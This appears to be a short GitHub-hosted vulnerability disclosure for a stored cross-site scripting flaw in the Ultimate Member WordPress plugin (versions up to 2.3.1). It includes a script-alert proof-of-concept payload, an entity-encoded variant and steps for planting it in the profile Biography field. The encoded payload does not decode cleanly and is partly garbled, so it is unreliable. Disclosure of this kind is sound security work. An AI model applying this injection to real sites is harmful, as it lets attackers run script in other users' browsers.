

main

...

## vulnerabilities / Ultimate Member <= 2.3.1 - Stored Cross-Site Scripting.md



H4de5-7 Create Ultimate Member <= 2.3.1 - Stored Cross-Site Scripting.md

History

1 contributor

26 lines (12 sloc) | 705 Bytes

...

# Ultimate Member <= 2.3.1 - Stored Cross-Site Scripting

## Summary

Biography component in user profile exists stored XSS vulnerability.

## Vulnerability proof

1.Encode XSS payload by Unicode

For example:

```
<script>alert(1)</script>
```

```
<script>alert(1)</script>
```

```
&#60;&#115;&#99;&#114;&#105;&#112;&#62;&#97;&#108;&#114;&#116;&#40;&#49;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#62;&#62;
```

2.Enter the encoded payload into the Biography component and save it.

About

Posts

Comments

Website URL

https://www.baidu.com

Biography

0;115;99;114;105;112;116;62;97;108;101;114;116;40;49;41;60;47;115;99;114;105;112;116;62;

更新个人资料

取消

3.Reload the user profile and the script is executed.

